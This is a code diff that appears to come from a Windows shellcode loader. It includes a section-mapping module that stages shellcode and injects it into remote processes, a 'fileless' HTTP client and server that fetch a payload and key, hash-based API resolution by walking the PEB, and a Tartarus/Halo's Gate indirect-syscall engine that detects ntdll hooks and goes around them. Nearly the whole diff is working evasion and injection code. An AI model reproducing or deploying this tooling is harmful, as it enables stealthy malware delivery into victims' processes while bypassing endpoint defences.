region.remoteView = nullptr;
region.mappedRemote = false;
}
if (region.section) {
sc.NtClose(region.section);
region.section = nullptr;
}
}
} // namespace SectionMap
+44
View File
@@ -0,0 +1,44 @@
#pragma once
#include <Windows.h>
#include <cstdint>
#include <vector>
#include "../syscall/tartarus_gate.hpp"
namespace SectionMap {
struct MappedRegion {
HANDLE section = nullptr;
PVOID localView = nullptr;
PVOID remoteView = nullptr;
SIZE_T viewSize = 0;
bool mappedRemote = false;
};
// Stage shellcode via anonymous section + NtMapViewOfSection (W^X).
// Replaces naive NtAllocateVirtualMemory for local ingestion.
bool StageLocal(
TartarusGate::SyscallTable& sc,
const std::vector<BYTE>& shellcode,
MappedRegion& out);
// Map staged section into remote process (shared section object).
bool MapRemote(
TartarusGate::SyscallTable& sc,
HANDLE targetProcess,
MappedRegion& region);
// Execute shellcode locally via NtCreateThreadEx (indirect syscall).
bool ExecuteLocal(TartarusGate::SyscallTable& sc, PVOID entry);
// Execute in remote process via NtCreateThreadEx.
bool ExecuteRemote(TartarusGate::SyscallTable& sc, HANDLE targetProcess, PVOID entry);
// Release views and section handle.
void Cleanup(TartarusGate::SyscallTable& sc, MappedRegion& region, HANDLE targetProcess);
// Align size to page boundary.
SIZE_T PageAlign(SIZE_T size);
} // namespace SectionMap
+361
View File
@@ -0,0 +1,361 @@
#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif
#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include "http_transport.hpp"
#include "../resolve/api_resolver.hpp"
#include "../common/hashes.hpp"
#include "../common/log.hpp"
#include <fstream>
#include <sstream>
#include <cstring>
namespace HttpTransport {
namespace {
struct WinsockApi {
decltype(&WSAStartup) WSAStartupFn = nullptr;
decltype(&WSACleanup) WSACleanupFn = nullptr;
decltype(&socket) socketFn = nullptr;
decltype(&connect) connectFn = nullptr;
decltype(&send) sendFn = nullptr;
decltype(&recv) recvFn = nullptr;
decltype(&closesocket) closesocketFn = nullptr;
decltype(&bind) bindFn = nullptr;
decltype(&listen) listenFn = nullptr;
decltype(&accept) acceptFn = nullptr;
decltype(&getaddrinfo) getaddrinfoFn = nullptr;
decltype(&freeaddrinfo) freeaddrinfoFn = nullptr;
decltype(&setsockopt) setsockoptFn = nullptr;
bool loaded = false;
bool started = false;
};
bool LoadWinsock(WinsockApi& ws) {
if (ws.loaded) {
return true;
}
ws.WSAStartupFn = reinterpret_cast<decltype(ws.WSAStartupFn)>(ApiResolver::ResolveWs2(Hashes::H_WSAStartup));
ws.WSACleanupFn = reinterpret_cast<decltype(ws.WSACleanupFn)>(ApiResolver::ResolveWs2(Hashes::H_WSACleanup));
ws.socketFn = reinterpret_cast<decltype(ws.socketFn)>(ApiResolver::ResolveWs2(Hashes::H_socket));
ws.connectFn = reinterpret_cast<decltype(ws.connectFn)>(ApiResolver::ResolveWs2(Hashes::H_connect));
ws.sendFn = reinterpret_cast<decltype(ws.sendFn)>(ApiResolver::ResolveWs2(Hashes::H_send));
ws.recvFn = reinterpret_cast<decltype(ws.recvFn)>(ApiResolver::ResolveWs2(Hashes::H_recv));
ws.closesocketFn = reinterpret_cast<decltype(ws.closesocketFn)>(ApiResolver::ResolveWs2(Hashes::H_closesocket));
ws.bindFn = reinterpret_cast<decltype(ws.bindFn)>(ApiResolver::ResolveWs2(Hashes::H_bind));
ws.listenFn = reinterpret_cast<decltype(ws.listenFn)>(ApiResolver::ResolveWs2(Hashes::H_listen));
ws.acceptFn = reinterpret_cast<decltype(ws.acceptFn)>(ApiResolver::ResolveWs2(Hashes::H_accept));
ws.getaddrinfoFn = reinterpret_cast<decltype(ws.getaddrinfoFn)>(ApiResolver::ResolveWs2(Hashes::H_getaddrinfo));
ws.freeaddrinfoFn= reinterpret_cast<decltype(ws.freeaddrinfoFn)>(ApiResolver::ResolveWs2(Hashes::H_freeaddrinfo));
ws.setsockoptFn = reinterpret_cast<decltype(ws.setsockoptFn)>(ApiResolver::ResolveWs2(Hashes::H_setsockopt));
ws.loaded = ws.WSAStartupFn && ws.socketFn && ws.connectFn && ws.sendFn && ws.recvFn;
return ws.loaded;
}
bool EnsureWinsock(WinsockApi& ws) {
if (!LoadWinsock(ws)) {
return false;
}
if (!ws.started) {
WSADATA wsa{};
if (ws.WSAStartupFn(MAKEWORD(2, 2), &wsa) != 0) {
return false;
}
ws.started = true;
}
return true;
}
bool HttpGet(const Endpoint& ep, const char* path, std::vector<std::uint8_t>& body) {
Log::Banner("HTTP GET (fileless client)");
Log::Info("GET http://%s:%u%s", ep.host.c_str(), ep.port, path);
WinsockApi ws{};
if (!EnsureWinsock(ws)) {
Log::Dbg("winsock load/WSAStartup failed");
return false;
}
Log::Dbg("winsock ready");
addrinfo hints{};
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
addrinfo* result = nullptr;
const auto portStr = std::to_string(ep.port);
if (ws.getaddrinfoFn(ep.host.c_str(), portStr.c_str(), &hints, &result) != 0) {
Log::Dbg("getaddrinfo failed host=%s port=%s", ep.host.c_str(), portStr.c_str());
return false;
}
Log::Dbg("getaddrinfo OK — connecting...");
SOCKET sock = INVALID_SOCKET;
for (auto* ptr = result; ptr; ptr = ptr->ai_next) {
sock = ws.socketFn(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
if (sock == INVALID_SOCKET) {
continue;
}
if (ws.connectFn(sock, ptr->ai_addr, static_cast<int>(ptr->ai_addrlen)) == 0) {
Log::Sys("connected socket=%llu family=%d",
static_cast<unsigned long long>(sock), ptr->ai_family);
break;
}
ws.closesocketFn(sock);
sock = INVALID_SOCKET;
}
ws.freeaddrinfoFn(result);
if (sock == INVALID_SOCKET) {
Log::Dbg("connect failed to %s:%u", ep.host.c_str(), ep.port);
return false;
}
std::ostringstream req;
req << "GET " << path << " HTTP/1.1\r\n"
<< "Host: " << ep.host << "\r\n"
<< "Connection: close\r\n\r\n";
const std::string reqStr = req.str();
Log::Dbg("send request (%zu bytes)", reqStr.size());
if (ws.sendFn(sock, reqStr.c_str(), static_cast<int>(reqStr.size()), 0) <= 0) {
Log::Dbg("send failed");
ws.closesocketFn(sock);
return false;
}
std::vector<std::uint8_t> response;
char buf[4096];
for (;;) {
const int n = ws.recvFn(sock, buf, sizeof(buf), 0);
if (n <= 0) {
break;
}
response.insert(response.end(), buf, buf + n);
}
ws.closesocketFn(sock);
Log::Dbg("recv total response=%zu bytes", response.size());
// Find end of HTTP headers
const char* data = reinterpret_cast<const char*>(response.data());
const char* hdrEnd = strstr(data, "\r\n\r\n");
if (!hdrEnd) {
Log::Dbg("no HTTP header terminator");
return false;
}
const size_t bodyOff = (hdrEnd - data) + 4;
size_t contentLen = 0;
const char* cl = strstr(data, "Content-Length:");
if (cl && cl < hdrEnd) {
contentLen = static_cast<size_t>(std::strtoul(cl + 15, nullptr, 10));
}
Log::Dbg("headers end @%zu Content-Length=%zu", bodyOff, contentLen);
if (contentLen > 0 && bodyOff + contentLen <= response.size()) {
body.assign(response.begin() + static_cast<ptrdiff_t>(bodyOff),
response.begin() + static_cast<ptrdiff_t>(bodyOff + contentLen));
} else if (bodyOff < response.size()) {
body.assign(response.begin() + static_cast<ptrdiff_t>(bodyOff), response.end());
} else {
body.clear();
}
Log::Info("HTTP body size=%zu for %s", body.size(), path);
return true;
}
std::string BuildHttpResponse(const std::vector<std::uint8_t>& body, const char* contentType) {
std::ostringstream oss;
oss << "HTTP/1.1 200 OK\r\n"
<< "Content-Type: " << contentType << "\r\n"
<< "Content-Length: " << body.size() << "\r\n"
<< "Connection: close\r\n\r\n";
std::string hdr = oss.str();
std::string out = hdr;
out.append(reinterpret_cast<const char*>(body.data()), body.size());
return out;
}
bool ReadFileBytes(const std::wstring& path, std::vector<std::uint8_t>& out) {
std::ifstream f(path, std::ios::binary | std::ios::ate);
if (!f.is_open()) {
return false;
}
out.resize(static_cast<size_t>(f.tellg()));
f.seekg(0);
f.read(reinterpret_cast<char*>(out.data()), out.size());
return true;
}
void HandleClient(WinsockApi& ws, SOCKET client,
const std::vector<std::uint8_t>& payload, const std::vector<std::uint8_t>& keyBlob,
bool /*verbose*/) {
char buf[2048] = {};
const int nrecv = ws.recvFn(client, buf, sizeof(buf) - 1, 0);
// First request line only for clean logs
char reqLine[128] = {};
{
size_t i = 0;
while (i + 1 < sizeof(reqLine) && buf[i] && buf[i] != '\r' && buf[i] != '\n') {
reqLine[i] = buf[i];
++i;
}
}
Log::Srv("accept client sock=%llu recv=%d req=\"%s\"",
static_cast<unsigned long long>(client), nrecv, reqLine);
std::vector<std::uint8_t> response;
const char* route = "404";
size_t bodyBytes = 0;
if (strstr(buf, "GET /api/v1/payload")) {
route = "/api/v1/payload";
bodyBytes = payload.size();
auto http = BuildHttpResponse(payload, "application/octet-stream");
response.assign(http.begin(), http.end());
} else if (strstr(buf, "GET /api/v1/key")) {
route = "/api/v1/key";
bodyBytes = keyBlob.size();
auto http = BuildHttpResponse(keyBlob, "application/octet-stream");
response.assign(http.begin(), http.end());
} else if (strstr(buf, "GET /api/v1/health")) {
route = "/api/v1/health";
bodyBytes = 2;
const char* ok = "HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nOK";
response.assign(ok, ok + strlen(ok));
} else {
const char* nf = "HTTP/1.1 404 Not Found\r\nContent-Length: 0\r\n\r\n";
response.assign(nf, nf + strlen(nf));
}
const int nsent = ws.sendFn(client, reinterpret_cast<const char*>(response.data()),
static_cast<int>(response.size()), 0);
Log::Srv("reply route=%s body=%zu wire=%zu sent=%d",
route, bodyBytes, response.size(), nsent);
ws.closesocketFn(client);
}
} // namespace
bool ParseSource(const std::string& source, Endpoint& out) {
out = {};
out.port = 8080;
const auto colon = source.find(':');
if (colon == std::string::npos) {
out.host = source;
return !out.host.empty();
}
out.host = source.substr(0, colon);
try {
out.port = static_cast<std::uint16_t>(std::stoi(source.substr(colon + 1)));
} catch (...) {
return false;
}
return !out.host.empty();
}
bool FetchPayload(const Endpoint& ep, std::vector<std::uint8_t>& body) {
return HttpGet(ep, "/api/v1/payload", body);
}
bool FetchKey(const Endpoint& ep, std::vector<std::uint8_t>& body) {
return HttpGet(ep, "/api/v1/key", body);
}
bool RunServerMemory(std::uint16_t port, const std::vector<std::uint8_t>& payload,
const std::vector<std::uint8_t>& keyBlob, bool verbose) {
// Prefer explicit flag; also honor Log server channel if already enabled.
if (verbose) {
Log::SetServerVerbose(true);
}
Log::SrvBanner("HTTP Bind");
Log::Srv("WSAStartup + resolve passive 0.0.0.0:%u", port);
WinsockApi ws{};
if (!EnsureWinsock(ws)) {
Log::Srv("winsock load failed");
return false;
}
Log::Srv("winsock APIs resolved (hash) + started");
addrinfo hints{};
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
hints.ai_flags = AI_PASSIVE;
addrinfo* result = nullptr;
const auto portStr = std::to_string(port);
if (ws.getaddrinfoFn(nullptr, portStr.c_str(), &hints, &result) != 0) {
Log::Srv("getaddrinfo failed for port %s", portStr.c_str());
return false;
}
SOCKET listenSock = ws.socketFn(result->ai_family, result->ai_socktype, result->ai_protocol);
if (listenSock == INVALID_SOCKET) {
Log::Srv("socket() failed");
ws.freeaddrinfoFn(result);
return false;
}
Log::Srv("listen socket=%llu", static_cast<unsigned long long>(listenSock));
int yes = 1;
ws.setsockoptFn(listenSock, SOL_SOCKET, SO_REUSEADDR, reinterpret_cast<const char*>(&yes), sizeof(yes));
Log::Srv("SO_REUSEADDR=1");
if (ws.bindFn(listenSock, result->ai_addr, static_cast<int>(result->ai_addrlen)) != 0) {
Log::Srv("bind failed on port %u", port);
ws.closesocketFn(listenSock);
ws.freeaddrinfoFn(result);
return false;
}
ws.freeaddrinfoFn(result);
Log::Srv("bind OK 0.0.0.0:%u", port);
if (ws.listenFn(listenSock, SOMAXCONN) != 0) {
Log::Srv("listen failed");
ws.closesocketFn(listenSock);
return false;
}
Log::Srv("listen OK backlog=SOMAXCONN");
// Always show ready line; details only with --verbose
Log::Ok("Fileless server listening on port %u (payload=%zu key=%zu)",
port, payload.size(), keyBlob.size());
Log::Srv("endpoints: GET /api/v1/payload | /api/v1/key | /api/v1/health");
Log::Srv("waiting for clients...");
for (;;) {
SOCKET client = ws.acceptFn(listenSock, nullptr, nullptr);
if (client == INVALID_SOCKET) {
Log::Srv("accept returned INVALID_SOCKET — retry");
continue;
}
HandleClient(ws, client, payload, keyBlob, verbose);
}
}
bool RunServer(std::uint16_t port, const std::wstring& payloadPath, const std::wstring& keyPath) {
std::vector<std::uint8_t> payload;
std::vector<std::uint8_t> keyBlob;
if (!ReadFileBytes(payloadPath, payload)) {
return false;
}
// Key is optional for non-encrypted payloads
ReadFileBytes(keyPath, keyBlob);
return RunServerMemory(port, payload, keyBlob, false);
}
} // namespace HttpTransport
+31
View File
@@ -0,0 +1,31 @@
#pragma once
#include <cstdint>
#include <string>
#include <vector>
namespace HttpTransport {
struct Endpoint {
std::string host;
std::uint16_t port = 8080;
bool useTls = false; // plain HTTP for lab
};
// Parse host[:port] from --source argument.
bool ParseSource(const std::string& source, Endpoint& out);
// GET /api/v1/payload — returns raw shellcode bytes (plain or AES ciphertext).
bool FetchPayload(const Endpoint& ep, std::vector<std::uint8_t>& body);
// GET /api/v1/key — returns packed key material blob.
bool FetchKey(const Endpoint& ep, std::vector<std::uint8_t>& body);
// Run minimal HTTP server (Windows) — serves payload + key without exposing filenames.
bool RunServer(std::uint16_t port, const std::wstring& payloadPath, const std::wstring& keyPath);
// Run server with in-memory blobs (after --enc AES).
bool RunServerMemory(std::uint16_t port, const std::vector<std::uint8_t>& payload,
const std::vector<std::uint8_t>& keyBlob, bool verbose = false);
} // namespace HttpTransport
+125
View File
@@ -0,0 +1,125 @@
#include "pe_parser.hpp"
#include "../common/hashes.hpp"
#include <cstring>
namespace PeParser {
Peb* GetPeb() {
#ifdef _WIN64
return reinterpret_cast<Peb*>(__readgsqword(0x60));
#else
return reinterpret_cast<Peb*>(__readfsdword(0x30));
#endif
}
bool WideToLowerAscii(const PeUnicodeString& name, char* out, size_t outCap) {
if (!name.Buffer || name.Length == 0 || outCap == 0) {
return false;
}
const int wcharCount = name.Length / sizeof(WCHAR);
int written = WideCharToMultiByte(
CP_ACP, 0, name.Buffer, wcharCount,
out, static_cast<int>(outCap - 1), nullptr, nullptr);
if (written <= 0) {
return false;
}
out[written] = '\0';
CharLowerA(out);
return true;
}
HMODULE GetModuleByHash(std::uint32_t moduleHash) {
auto* peb = GetPeb();
if (!peb || !peb->Ldr) {
return nullptr;
}
auto* head = &peb->Ldr->InMemoryOrderModuleList;
for (auto* link = head->Flink; link != head; link = link->Flink) {
auto* entry = reinterpret_cast<LdrDataTableEntry*>(
reinterpret_cast<BYTE*>(link) - offsetof(LdrDataTableEntry, InMemoryOrderLinks));
if (!entry->BaseDllName.Buffer) {
continue;
}
char narrow[MAX_PATH] = {};
if (!WideToLowerAscii(entry->BaseDllName, narrow, sizeof(narrow))) {
continue;
}
// Match precomputed hash (api_hash constants) or runtime djb2 lowercase.
if (Hashes::Djb2(narrow) == moduleHash || Hashes::Djb2Lower(narrow) == moduleHash) {
return reinterpret_cast<HMODULE>(entry->DllBase);
}
}
return nullptr;
}
HMODULE GetModuleByIndex(unsigned index) {
auto* peb = GetPeb();
if (!peb || !peb->Ldr) {
return nullptr;
}
auto* head = &peb->Ldr->InMemoryOrderModuleList;
unsigned i = 0;
for (auto* link = head->Flink; link != head; link = link->Flink, ++i) {
if (i == index) {
auto* entry = reinterpret_cast<LdrDataTableEntry*>(
reinterpret_cast<BYTE*>(link) - offsetof(LdrDataTableEntry, InMemoryOrderLinks));
return reinterpret_cast<HMODULE>(entry->DllBase);
}
}
return nullptr;
}
PIMAGE_NT_HEADERS GetNtHeaders(HMODULE module) {
if (!module) {
return nullptr;
}
auto* base = reinterpret_cast<BYTE*>(module);
auto* dos = reinterpret_cast<PIMAGE_DOS_HEADER>(base);
if (dos->e_magic != IMAGE_DOS_SIGNATURE) {
return nullptr;
}
auto* nt = reinterpret_cast<PIMAGE_NT_HEADERS>(base + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) {
return nullptr;
}
return nt;
}
FARPROC GetExportByHash(HMODULE module, std::uint32_t exportHash) {
if (!module) {
return nullptr;
}
auto* base = reinterpret_cast<BYTE*>(module);
auto* nt = GetNtHeaders(module);
if (!nt) {
return nullptr;
}
const auto& dir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (dir.VirtualAddress == 0 || dir.Size == 0) {
return nullptr;
}
auto* exp = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(base + dir.VirtualAddress);
auto* names = reinterpret_cast<PDWORD>(base + exp->AddressOfNames);
auto* ords = reinterpret_cast<PWORD>(base + exp->AddressOfNameOrdinals);
auto* funcs = reinterpret_cast<PDWORD>(base + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; ++i) {
const char* exportName = reinterpret_cast<const char*>(base + names[i]);
if (Hashes::Djb2(exportName) != exportHash) {
continue;
}
return reinterpret_cast<FARPROC>(base + funcs[ords[i]]);
}
return nullptr;
}
} // namespace PeParser
+59
View File
@@ -0,0 +1,59 @@
#pragma once
#include <Windows.h>
#include <cstdint>
namespace PeParser {
// Minimal PEB/LDR structures (winternl.h is incomplete for InMemoryOrder walk).
struct PeUnicodeString {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
};
struct LdrDataTableEntry {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
PVOID Reserved3[2];
PeUnicodeString BaseDllName;
};
struct PebLdrData {
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
};
struct Peb {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PebLdrData* Ldr;
};
// Returns process environment block pointer (x64: GS:[0x60]).
Peb* GetPeb();
// Walk PEB->Ldr->InMemoryOrderModuleList; match module by djb2 lowercase hash.
HMODULE GetModuleByHash(std::uint32_t moduleHash);
// InMemoryOrder index: 0=exe, 1=ntdll, 2=kernel32 (typical load order).
HMODULE GetModuleByIndex(unsigned index);
// Walk PE export directory; match export by djb2 hash (case-sensitive export name).
FARPROC GetExportByHash(HMODULE module, std::uint32_t exportHash);
// Parse PE headers from module base.
PIMAGE_NT_HEADERS GetNtHeaders(HMODULE module);
// Convert wide module basename to lowercase ASCII for hashing.
bool WideToLowerAscii(const PeUnicodeString& name, char* out, size_t outCap);
} // namespace PeParser
+65
View File
@@ -0,0 +1,65 @@
#include "api_resolver.hpp"
#include "../pe/pe_parser.hpp"
#include "../common/hashes.hpp"
namespace ApiResolver {
static HMODULE EnsureModule(std::uint32_t moduleHash, const wchar_t* fallbackName);
HMODULE GetNtdll() {
auto* m = PeParser::GetModuleByHash(Hashes::H_NTDLL_DLL);
return m ? m : PeParser::GetModuleByIndex(1);
}
HMODULE GetKernel32() {
auto* m = PeParser::GetModuleByHash(Hashes::H_KERNEL32_DLL);
return m ? m : PeParser::GetModuleByIndex(2);
}
HMODULE GetWs2_32() {
return EnsureModule(Hashes::H_WS2_32_DLL, L"ws2_32.dll");
}
HMODULE GetBcrypt() {
return EnsureModule(Hashes::H_BCRYPT_DLL, L"bcrypt.dll");
}
FARPROC ResolveExport(HMODULE module, std::uint32_t exportHash) {
return PeParser::GetExportByHash(module, exportHash);
}
FARPROC ResolveNtdll(std::uint32_t exportHash) {
return ResolveExport(GetNtdll(), exportHash);
}
FARPROC ResolveWs2(std::uint32_t exportHash) {
return ResolveExport(GetWs2_32(), exportHash);
}
FARPROC ResolveBcrypt(std::uint32_t exportHash) {
return ResolveExport(GetBcrypt(), exportHash);
}
static HMODULE EnsureModule(std::uint32_t moduleHash, const wchar_t* fallbackName) {
HMODULE mod = PeParser::GetModuleByHash(moduleHash);
if (mod) {
return mod;
}
auto* k32 = GetKernel32();
if (!k32) {
return nullptr;
}
using LoadLibraryW_t = HMODULE(WINAPI*)(LPCWSTR);
auto* pLoad = reinterpret_cast<LoadLibraryW_t>(
ResolveExport(k32, Hashes::H_LoadLibraryW));
if (!pLoad || !fallbackName) {
return nullptr;
}
mod = pLoad(fallbackName);
return mod;
}
} // namespace ApiResolver
+19
View File
@@ -0,0 +1,19 @@
#pragma once
#include <Windows.h>
#include <cstdint>
namespace ApiResolver {
// Thin facade over PeParser for reusable dynamic resolution.
HMODULE GetNtdll();
HMODULE GetKernel32();
HMODULE GetWs2_32();
HMODULE GetBcrypt();
FARPROC ResolveExport(HMODULE module, std::uint32_t exportHash);
FARPROC ResolveNtdll(std::uint32_t exportHash);
FARPROC ResolveWs2(std::uint32_t exportHash);
FARPROC ResolveBcrypt(std::uint32_t exportHash);
} // namespace ApiResolver
+236
View File
@@ -0,0 +1,236 @@
#include "tartarus_gate.hpp"
#include "../pe/pe_parser.hpp"
#include "../resolve/api_resolver.hpp"
#include "../common/hashes.hpp"
#include "../common/log.hpp"
#include <cstring>
#include <iostream>
#include <vector>
namespace TartarusGate {
namespace {
std::vector<PVOID> g_stubPages;
// Tartarus Gate: resolve SSN from export stub; if hooked (jmp), walk neighbors (Halo's Gate).
std::uint32_t ExtractSSN(PBYTE stub) {
// Unhooked x64 stub: 4C 8B D1 B8 imm32
if (stub[0] == 0x4C && stub[1] == 0x8B && stub[2] == 0xD1 && stub[3] == 0xB8) {
return *reinterpret_cast<DWORD*>(stub + 4);
}
return 0;
}
std::uint32_t HaloResolve(PBYTE stub) {
for (int j = 1; j <= 500; ++j) {
auto* down = stub + (j * 0x20);
if (down[0] == 0x4C && down[1] == 0x8B && down[3] == 0xB8) {
const auto neighbor = *reinterpret_cast<DWORD*>(down + 4);
return neighbor - static_cast<std::uint32_t>(j);
}
auto* up = stub - (j * 0x20);
if (up[0] == 0x4C && up[1] == 0x8B && up[3] == 0xB8) {
const auto neighbor = *reinterpret_cast<DWORD*>(up + 4);
return neighbor + static_cast<std::uint32_t>(j);
}
}
return 0;
}
static HMODULE NtdllBase() {
return ApiResolver::GetNtdll();
}
static FARPROC NtdllExport(std::uint32_t hash) {
return PeParser::GetExportByHash(NtdllBase(), hash);
}
PVOID AllocStubPage(const void* code, size_t size) {
// Bootstrap stub pages via direct ntdll exports (one-time); all runtime ops use indirect stubs.
auto* pAlloc = reinterpret_cast<fnNtAllocateVirtualMemory>(
NtdllExport(Hashes::H_NtAllocateVirtualMemory));
auto* pProt = reinterpret_cast<fnNtProtectVirtualMemory>(
NtdllExport(Hashes::H_NtProtectVirtualMemory));
if (!pAlloc || !pProt) {
return nullptr;
}
PVOID base = nullptr;
SIZE_T region = size;
if (!NT_SUCCESS(pAlloc(GetCurrentProcess(), &base, 0, &region,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) || !base) {
return nullptr;
}
std::memcpy(base, code, size);
ULONG old = 0;
PVOID protBase = base;
SIZE_T protSize = region;
if (!NT_SUCCESS(pProt(GetCurrentProcess(), &protBase, &protSize,
PAGE_EXECUTE_READ, &old))) {
return nullptr;
}
g_stubPages.push_back(base);
return base;
}
} // anonymous namespace
std::uint32_t ResolveSSN(HMODULE ntdll, std::uint32_t exportHash) {
if (!ntdll) {
Log::Err("Unable to Resolve SSN %s");
return 0;
}
auto* base = reinterpret_cast<PBYTE>(ntdll);
auto* nt = PeParser::GetNtHeaders(ntdll);
if (!nt) {
return 0;
}
const auto& dir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (!dir.VirtualAddress) {
return 0;
}
auto* exp = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(base + dir.VirtualAddress);
auto* names = reinterpret_cast<PDWORD>(base + exp->AddressOfNames);
auto* ords = reinterpret_cast<PWORD>(base + exp->AddressOfNameOrdinals);
auto* funcs = reinterpret_cast<PDWORD>(base + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; ++i) {
const char* exportName = reinterpret_cast<const char*>(base + names[i]);
if (Hashes::Djb2(exportName) != exportHash) {
continue;
}
auto* stub = base + funcs[ords[i]];
// Tartarus: detect hook (jmp/call redirect).
if (stub[0] == 0xE9 || stub[0] == 0xEB || stub[0] == 0xFF) {
Log::Dbg("SSN resolve: hooked stub @ %p first=0x%02X — Halo's Gate",
stub, stub[0]);
return HaloResolve(stub);
}
auto ssn = ExtractSSN(stub);
if (ssn) {
Log::Dbg("SSN resolve: clean stub @ %p SSN=%u", stub, ssn);
return ssn;
}
Log::Dbg("SSN resolve: clean pattern miss @ %p — Halo's Gate", stub);
return HaloResolve(stub);
}
return 0;
}
PVOID FindSyscallGadget(HMODULE ntdll) {
if (!ntdll) {
return nullptr;
}
auto* base = reinterpret_cast<PBYTE>(ntdll);
auto* nt = PeParser::GetNtHeaders(ntdll);
if (!nt) {
return nullptr;
}
auto* sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; ++i) {
if (std::memcmp(sec[i].Name, ".text", 5) != 0) {
continue;
}
PBYTE start = base + sec[i].VirtualAddress;
DWORD size = sec[i].Misc.VirtualSize;
for (DWORD off = 0; off + 2 < size; ++off) {
// syscall; ret
if (start[off] == 0x0F && start[off + 1] == 0x05 && start[off + 2] == 0xC3) {
return start + off;
}
}
}
return nullptr;
}
PVOID CreateIndirectStub(std::uint32_t ssn, PVOID gadget) {
if (!gadget || ssn == 0) {
return nullptr;
}
// mov r10, rcx | mov eax, SSN | jmp [rip+0] | dq gadget
static const BYTE hdr[] = {
0x4C, 0x8B, 0xD1,
0xB8, 0x00, 0x00, 0x00, 0x00,
0xFF, 0x25, 0x00, 0x00, 0x00, 0x00
};
BYTE buf[sizeof(hdr) + sizeof(PVOID)] = {};
std::memcpy(buf, hdr, sizeof(hdr));
*reinterpret_cast<DWORD*>(buf + 4) = ssn;
*reinterpret_cast<PVOID*>(buf + sizeof(hdr)) = gadget;
PVOID page = AllocStubPage(buf, sizeof(buf));
return page;
}
bool BindSyscall(SyscallTable& table, std::uint32_t hash, PVOID& outStub, const char* debugTag) {
auto* ntdll = ApiResolver::GetNtdll();
const auto ssn = ResolveSSN(ntdll, hash);
if (!ssn) {
Log::Raw("TartarusGate SSN FAIL hash=0x%08X tag=%s", hash, debugTag);
return false;
}
outStub = CreateIndirectStub(ssn, table.gadget);
if (!outStub) {
Log::Raw("TartarusGate STUB FAIL SSN=%u tag=%s", ssn, debugTag);
return false;
}
Log::Raw("syscall %-28s SSN=%4u stub=%p gadget=%p", debugTag, ssn, outStub, table.gadget);
return true;
}
bool Initialize(SyscallTable& table) {
auto* ntdll = ApiResolver::GetNtdll();
if (!ntdll) {
return false;
}
table.gadget = FindSyscallGadget(ntdll);
if (!table.gadget) {
return false;
}
Log::Banner("Tartarus Gate Init");
Log::Raw("ntdll=%p | indirect syscall; ret gadget=%p", ntdll, table.gadget);
PVOID stub = nullptr;
#define BIND(field, hash, tag) \
if (!BindSyscall(table, hash, stub, tag)) return false; \
table.field = reinterpret_cast<decltype(table.field)>(stub)
BIND(NtAllocateVirtualMemory, Hashes::H_NtAllocateVirtualMemory, "NtAllocateVirtualMemory");
BIND(NtProtectVirtualMemory, Hashes::H_NtProtectVirtualMemory, "NtProtectVirtualMemory");
BIND(NtWriteVirtualMemory, Hashes::H_NtWriteVirtualMemory, "NtWriteVirtualMemory");
BIND(NtFreeVirtualMemory, Hashes::H_NtFreeVirtualMemory, "NtFreeVirtualMemory");
BIND(NtCreateSection, Hashes::H_NtCreateSection, "NtCreateSection");
BIND(NtMapViewOfSection, Hashes::H_NtMapViewOfSection, "NtMapViewOfSection");
BIND(NtUnmapViewOfSection, Hashes::H_NtUnmapViewOfSection, "NtUnmapViewOfSection");
BIND(NtOpenProcess, Hashes::H_NtOpenProcess, "NtOpenProcess");
BIND(NtCreateThreadEx, Hashes::H_NtCreateThreadEx, "NtCreateThreadEx");
BIND(NtClose, Hashes::H_NtClose, "NtClose");
BIND(NtQuerySystemInformation, Hashes::H_NtQuerySystemInformation, "NtQuerySystemInformation");
#undef BIND
table.initialized = true;
return true;
}
void CleanupStubs() {
// Stubs are small RX pages; leak on exit is acceptable for loader lifetime.
g_stubPages.clear();
}
} // namespace TartarusGate
+96
View File
@@ -0,0 +1,96 @@
#pragma once
#include <Windows.h>
#include <cstdint>
#include "../common/nt_types.hpp"
namespace TartarusGate {
// NT syscall typedefs used by the loader.
using fnNtAllocateVirtualMemory = NTSTATUS(NTAPI*)(
HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits,
PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
using fnNtProtectVirtualMemory = NTSTATUS(NTAPI*)(
HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize,
ULONG NewProtect, PULONG OldProtect);
using fnNtWriteVirtualMemory = NTSTATUS(NTAPI*)(
HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer,
SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten);
using fnNtFreeVirtualMemory = NTSTATUS(NTAPI*)(
HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG FreeType);
using fnNtCreateSection = NTSTATUS(NTAPI*)(
PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES_NT ObjectAttributes,
PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes,
HANDLE FileHandle);
